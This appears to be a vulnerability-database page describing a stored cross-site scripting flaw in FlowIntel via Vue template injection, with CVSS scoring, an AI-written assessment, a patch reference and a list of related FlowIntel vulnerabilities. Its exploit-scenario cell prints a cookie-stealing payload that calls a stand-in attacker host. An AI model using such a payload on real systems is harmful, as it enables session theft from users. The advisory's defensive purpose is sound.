EUVD-2026-52253
GHSA-hc5p-7rj2-94g3
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered stored XSS requires low-privilege write access (PR:L), victim page load (UI:R), scope change into victim browser (S:C), high confidentiality from session theft, low integrity from limited victim-context actions.
Primary rating from Vendor (CIRCL).
CVSS VectorVendor: CIRCL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
FlowIntel is affected by a stored cross-site scripting vulnerability through multiple user-controlled or administrator-controlled fields.
Persisted values-including case titles, ticket identifiers, recurring-case information, user profile attributes, organisation names, and role names-were rendered inside DOM elements subsequently compiled by Vue. Although normal HTML escaping could neutralize direct HTML markup, it did not prevent an attacker from injecting Vue interpolation expressions using the configured [[ ... ]] delimiters.
An authenticated attacker able to modify one of the affected fields could store a malicious Vue expression. When another user viewed an affected case, report, profile, recurring-case page, or navigation component, Vue could evaluate the injected expression in the context of the FlowIntel application.
Successful exploitation could allow arbitrary JavaScript execution in the victim’s browser under the FlowIntel origin. This could expose information available to the victim, perform actions using the victim’s authenticated session, or modify application data within the victim’s privileges.
The patch introduces a dedicated vue_escape filter that escapes HTML-sensitive characters and breaks Vue interpolation delimiters before the values are rendered. The filter is applied to the affected case, account, organisation, role, configuration, and navigation fields.
AnalysisAI
Stored XSS via Vue template injection in FlowIntel allows an authenticated low-privilege user to persist malicious Vue interpolation expressions across multiple data fields, causing arbitrary JavaScript execution in the browsers of any user who views the poisoned content. The root cause is that Jinja2's standard HTML escaping neutralizes raw HTML tags but does not prevent FlowIntel's custom [[ ... …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold a valid FlowIntel account with write access to at least one of the explicitly affected fields: case titles, ticket identifiers, recurring-case type or schedule information, user profile attributes (first name, last name, nickname, email, or Matrix ID), organisation names, or role names. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 6.9 with vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N accurately captures the threat model: network-accessible, low-complexity, requiring only low-privilege authentication and a single victim page visit. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated FlowIntel user with permission to edit case titles sets a case title to a string containing a Vue expression, such as [[ fetch('https://attacker.example/steal?c='+document.cookie) ]]. Jinja2 HTML-escapes the surrounding text but passes the [[ ... … |
| Remediation | The upstream fix is available as GitHub commit b0e99aa6d2708730bc422ebb6dc0c14d732889fa (https://github.com/flowintel/flowintel/commit/b0e99aa6d2708730bc422ebb6dc0c14d732889fa); update to any FlowIntel build that includes this commit. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Persistent session hijacking is possible in Flowintel version 3.3.0 and later because the application fails to invalidat
Privilege escalation in Flowintel's administrative user-edit API allows an organization administrator to modify full adm
Remote code execution in Flowintel's alerts settings update endpoint (versions >= 3.3.0) allows an authenticated high-pr
Remote code execution via log path traversal in Flowintel 3.3.0 and later is achievable by an authenticated administrato
Broken object-level authorization across Flowintel task endpoints allows authenticated editor-level users to perform una
Flowintel's PDF export pipeline passes attacker-controlled note content to Pandoc with the raw_tex extension enabled, al
Log injection in Flowintel versions 3.3.0 and later allows unauthenticated remote attackers to forge arbitrary log lines
Server-side request forgery in FlowIntel up to version 3.3.0 allows a low-privileged authenticated user to coerce the ap
Insufficient authorization on the Flowintel /my_assignment/user API endpoint allows any authenticated API user to retrie
Stored cross-site scripting in Flowintel's MISP timeline renderer allows an authenticated low-privileged attacker to inj
Stored cross-site scripting in Flowintel's calendar view (versions >= 3.3.0) allows an authenticated user with case-crea
Stored cross-site scripting in Flowintel case notes allows an authenticated low-privileged user to inject malicious Java
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today